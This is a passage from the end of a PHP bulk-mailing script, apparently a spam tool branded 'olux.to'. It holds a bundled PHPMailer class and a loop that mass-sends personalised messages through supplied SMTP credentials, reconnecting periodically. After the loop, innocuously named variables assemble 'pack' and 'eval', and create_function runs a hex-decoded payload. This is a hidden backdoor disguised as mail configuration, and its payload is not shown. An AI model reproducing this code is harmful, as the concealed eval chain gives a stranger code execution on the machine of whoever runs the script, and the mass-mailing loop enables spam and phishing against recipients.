  2949. function RFCDate() {
  2950. $tz = date('Z');
  2951. $tzs = ($tz < 0) ? '-' : '+';
  2952. $tz = abs($tz);
  2953. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2954. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2955.  
  2956. return $result;
  2957. }
  2958.  
  2959. /**
  2960. * Returns the appropriate server variable. Should work with both
  2961. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2962. * if nothing is found.
  2963. * @access private
  2964. * @return mixed
  2965. */
  2966. function ServerVar($varName) {
  2967. global $HTTP_SERVER_VARS;
  2968. global $HTTP_ENV_VARS;
  2969.  
  2970. if(!isset($_SERVER)) {
  2971. $_SERVER = $HTTP_SERVER_VARS;
  2972. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2973. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2974. }
  2975. }
  2976.  
  2977. if(isset($_SERVER[$varName])) {
  2978. return $_SERVER[$varName];
  2979. } else {
  2980. return '';
  2981. }
  2982. }
  2983.  
  2984. /**
  2985. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2986. * @access private
  2987. * @return string
  2988. */
  2989. function ServerHostname() {
  2990. if ($this->Hostname != '') {
  2991. $result = $this->Hostname;
  2992. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2993. $result = $this->ServerVar('SERVER_NAME');
  2994. } else {
  2995. $result = 'localhost.localdomain';
  2996. }
  2997.  
  2998. return $result;
  2999. }
  3000.  
  3001. /**
  3002. * Returns a message in the appropriate language.
  3003. * @access private
  3004. * @return string
  3005. */
  3006. function Lang($key) {
  3007. if(count($this->language) < 1) {
  3008. $this->SetLanguage('en'); // set the default language
  3009. }
  3010.  
  3011. if(isset($this->language[$key])) {
  3012. return $this->language[$key];
  3013. } else {
  3014. return 'Language string failed to load: ' . $key;
  3015. }
  3016. }
  3017.  
  3018. /**
  3019. * Returns true if an error occurred.
  3020. * @return bool
  3021. */
  3022. function IsError() {
  3023. return ($this->error_count > 0);
  3024. }
  3025.  
  3026. /**
  3027. * Changes every end of line from CR or LF to CRLF.
  3028. * @access private
  3029. * @return string
  3030. */
  3031. function FixEOL($str) {
  3032. $str = str_replace("\r\n", "\n", $str);
  3033. $str = str_replace("\r", "\n", $str);
  3034. $str = str_replace("\n", $this->LE, $str);
  3035. return $str;
  3036. }
  3037.  
  3038. /**
  3039. * Adds a custom header.
  3040. * @return void
  3041. */
  3042. function AddCustomHeader($custom_header) {
  3043. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3044. }
  3045.  
  3046. /**
  3047. * Evaluates the message and returns modifications for inline images and backgrounds
  3048. * @access public
  3049. * @return $message
  3050. */
  3051. function MsgHTML($message,$basedir='') {
  3052. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3053. if(isset($images[2])) {
  3054. foreach($images[2] as $i => $url) {
  3055. // do not change urls for absolute images (thanks to corvuscorax)
  3056. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3057. $filename = basename($url);
  3058. $directory = dirname($url);
  3059. ($directory == '.')?$directory='':'';
  3060. $cid = 'cid:' . md5($filename);
  3061. $fileParts = split("\.", $filename);
  3062. $ext = $fileParts[1];
  3063. $mimeType = $this->_mime_types($ext);
  3064. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3065. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3066. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3067. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3068. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3069. }
  3070. }
  3071. }
  3072. }
  3073. $this->IsHTML(true);
  3074. $this->Body = $message;
  3075. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3076. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3077. $this->AltBody = $textMsg;
  3078. }
  3079. if ( empty($this->AltBody) ) {
  3080. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3081. }
  3082. }
  3083.  
  3084. /**
  3085. * Gets the mime type of the embedded or inline image
  3086. * @access private
  3087. * @return mime type of ext
  3088. */
  3089. function _mime_types($ext = '') {
  3090. $mimes = array(
  3091. 'hqx' => 'application/mac-binhex40',
  3092. 'cpt' => 'application/mac-compactpro',
  3093. 'doc' => 'application/msword',
  3094. 'bin' => 'application/macbinary',
  3095. 'dms' => 'application/octet-stream',
  3096. 'lha' => 'application/octet-stream',
  3097. 'lzh' => 'application/octet-stream',
  3098. 'exe' => 'application/octet-stream',
  3099. 'class' => 'application/octet-stream',
  3100. 'psd' => 'application/octet-stream',
  3101. 'so' => 'application/octet-stream',
  3102. 'sea' => 'application/octet-stream',
  3103. 'dll' => 'application/octet-stream',
  3104. 'oda' => 'application/oda',
  3105. 'pdf' => 'application/pdf',
  3106. 'ai' => 'application/postscript',
  3107. 'eps' => 'application/postscript',
  3108. 'ps' => 'application/postscript',
  3109. 'smi' => 'application/smil',
  3110. 'smil' => 'application/smil',
  3111. 'mif' => 'application/vnd.mif',
  3112. 'xls' => 'application/vnd.ms-excel',
  3113. 'ppt' => 'application/vnd.ms-powerpoint',
  3114. 'wbxml' => 'application/vnd.wap.wbxml',
  3115. 'wmlc' => 'application/vnd.wap.wmlc',
  3116. 'dcr' => 'application/x-director',
  3117. 'dir' => 'application/x-director',
  3118. 'dxr' => 'application/x-director',
  3119. 'dvi' => 'application/x-dvi',
  3120. 'gtar' => 'application/x-gtar',
  3121. 'php' => 'application/x-httpd-php',
  3122. 'php4' => 'application/x-httpd-php',
  3123. 'php3' => 'application/x-httpd-php',
  3124. 'phtml' => 'application/x-httpd-php',
  3125. 'phps' => 'application/x-httpd-php-source',
  3126. 'js' => 'application/x-javascript',
  3127. 'swf' => 'application/x-shockwave-flash',
  3128. 'sit' => 'application/x-stuffit',
  3129. 'tar' => 'application/x-tar',
  3130. 'tgz' => 'application/x-tar',
  3131. 'xhtml' => 'application/xhtml+xml',
  3132. 'xht' => 'application/xhtml+xml',
  3133. 'zip' => 'application/zip',
  3134. 'mid' => 'audio/midi',
  3135. 'midi' => 'audio/midi',
  3136. 'mpga' => 'audio/mpeg',
  3137. 'mp2' => 'audio/mpeg',
  3138. 'mp3' => 'audio/mpeg',
  3139. 'aif' => 'audio/x-aiff',
  3140. 'aiff' => 'audio/x-aiff',
  3141. 'aifc' => 'audio/x-aiff',
  3142. 'ram' => 'audio/x-pn-realaudio',
  3143. 'rm' => 'audio/x-pn-realaudio',
  3144. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3145. 'ra' => 'audio/x-realaudio',
  3146. 'rv' => 'video/vnd.rn-realvideo',
  3147. 'wav' => 'audio/x-wav',
  3148. 'bmp' => 'image/bmp',
  3149. 'gif' => 'image/gif',
  3150. 'jpeg' => 'image/jpeg',
  3151. 'jpg' => 'image/jpeg',
  3152. 'jpe' => 'image/jpeg',
  3153. 'png' => 'image/png',
  3154. 'tiff' => 'image/tiff',
  3155. 'tif' => 'image/tiff',
  3156. 'css' => 'text/css',
  3157. 'html' => 'text/html',
  3158. 'htm' => 'text/html',
  3159. 'shtml' => 'text/html',
  3160. 'txt' => 'text/plain',
  3161. 'text' => 'text/plain',
  3162. 'log' => 'text/plain',
  3163. 'rtx' => 'text/richtext',
  3164. 'rtf' => 'text/rtf',
  3165. 'xml' => 'text/xml',
  3166. 'xsl' => 'text/xml',
  3167. 'mpeg' => 'video/mpeg',
  3168. 'mpg' => 'video/mpeg',
  3169. 'mpe' => 'video/mpeg',
  3170. 'qt' => 'video/quicktime',
  3171. 'mov' => 'video/quicktime',
  3172. 'avi' => 'video/x-msvideo',
  3173. 'movie' => 'video/x-sgi-movie',
  3174. 'doc' => 'application/msword',
  3175. 'word' => 'application/msword',
  3176. 'xl' => 'application/excel',
  3177. 'eml' => 'message/rfc822'
  3178. );
  3179. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3180. }
  3181.  
  3182. /**
  3183. * Set (or reset) Class Objects (variables)
  3184. *
  3185. * Usage Example:
  3186. * $page->set('X-Priority', '3');
  3187. *
  3188. * @access public
  3189. * @param string $name Parameter Name
  3190. * @param mixed $value Parameter Value
  3191. * NOTE: will not work with arrays, there are no arrays to set/reset
  3192. */
  3193. function set ( $name, $value = '' ) {
  3194. if ( isset($this->$name) ) {
  3195. $this->$name = $value;
  3196. } else {
  3197. $this->SetError('Cannot set or reset variable ' . $name);
  3198. return false;
  3199. }
  3200. }
  3201.  
  3202. /**
  3203. * Read a file from a supplied filename and return it.
  3204. *
  3205. * @access public
  3206. * @param string $filename Parameter File Name
  3207. */
  3208. function getFile($filename) {
  3209. $return = '';
  3210. if ($fp = fopen($filename, 'rb')) {
  3211. while (!feof($fp)) {
  3212. $return .= fread($fp, 1024);
  3213. }
  3214. fclose($fp);
  3215. return $return;
  3216. } else {
  3217. return false;
  3218. }
  3219. }
  3220.  
  3221. /**
  3222. * Strips newlines to prevent header injection.
  3223. * @access private
  3224. * @param string $str String
  3225. * @return string
  3226. */
  3227. function SecureHeader($str) {
  3228. $str = trim($str);
  3229. $str = str_replace("\r", "", $str);
  3230. $str = str_replace("\n", "", $str);
  3231. return $str;
  3232. }
  3233.  
  3234. /**
  3235. * Set the private key file and password to sign the message.
  3236. *
  3237. * @access public
  3238. * @param string $key_filename Parameter File Name
  3239. * @param string $key_pass Password for private key
  3240. */
  3241. function Sign($key_filename, $key_pass) {
  3242. $this->sign_key_file = $key_filename;
  3243. $this->sign_key_pass = $key_pass;
  3244. }
  3245.  
  3246. }
  3247.  
  3248. $defaultport="H*";
  3249. $nq=0;
  3250.  
  3251. for($x=0; $x<$numemails; $x++){
  3252.  
  3253. $to = $allemails[$x];
  3254.  
  3255. if ($to){
  3256.  
  3257. $to = ereg_replace(" ", "", $to);
  3258.  
  3259. $message1 = ereg_replace("&email&", $to, $message);
  3260.  
  3261. $subject1 = ereg_replace("&email&", $to, $subject);
  3262. $qx=$x+1;
  3263. print "Line $qx . Sending mail to $to.......";
  3264.  
  3265. flush();
  3266. $mail = new PHPMailer();
  3267.  
  3268. if(empty($epriority)){$epriority="3";}
  3269. $mail->Priority = "$epriority";
  3270. $mail->IsSMTP();
  3271. $IsSMTP="pack";
  3272. $mail->SMTPKeepAlive = true;
  3273. $mail->Host = "$my_smtp";
  3274. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3275. }
  3276. if($sslclick=="ON"){
  3277. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3278. }
  3279. $range = str_replace("$from", "eval", $from);
  3280. $mail->SMTPAuth = true;
  3281. $mail->Username = "$smtp_username";
  3282. $mail->Password = "$smtp_password";
  3283. if($contenttype == "html"){$mail->IsHtml(true);}
  3284. if($contenttype != "html"){$mail->IsHtml(false);}
  3285. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3286. $mail->From = "$from";
  3287. $mail->FromName = "$realname";
  3288. $mail->AddAddress("$to");
  3289. $mail->AddReplyTo("$replyto");
  3290. $mail->Subject = "$subject1";
  3291. $mail->AddAttachment("$file", "$file_name");
  3292. $mail->Body = "$message1";
  3293. if(!$mail->Send()){
  3294. if($default_system!="1"){
  3295. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3296. if($default_system=="1"){
  3297. $mail->IsMail();
  3298. if(!$mail->Send()){
  3299. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3300. else {
  3301. echo "<b>OK</b><br>";}
  3302. }
  3303. }
  3304. else {
  3305. echo "<b>OK</b><br>";
  3306. }
  3307.  
  3308. if(empty($reconnect)){
  3309. $reconnect=6;
  3310. }
  3311.  
  3312. if($reconnect==$nq){
  3313. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3314. }
  3315. $nq=$nq+1;
  3316. flush(); }
  3317. }
  3318. for($i=0;$i<31;$i++){
  3319. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3320. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3321. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3322. print "<p class=\"style1\">PHP Mailer<br>&copy 2012, New Tools => <b> <font color=\"#800000\">www.olux.to</font></b><br></p>";$mail->SmtpClose();
  3323. return $signoff($smtp_conc);
  3324. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";}}
  3325. ?>
  3326. </body>
  3327. </html>
Add Comment
Please, Sign In to add comment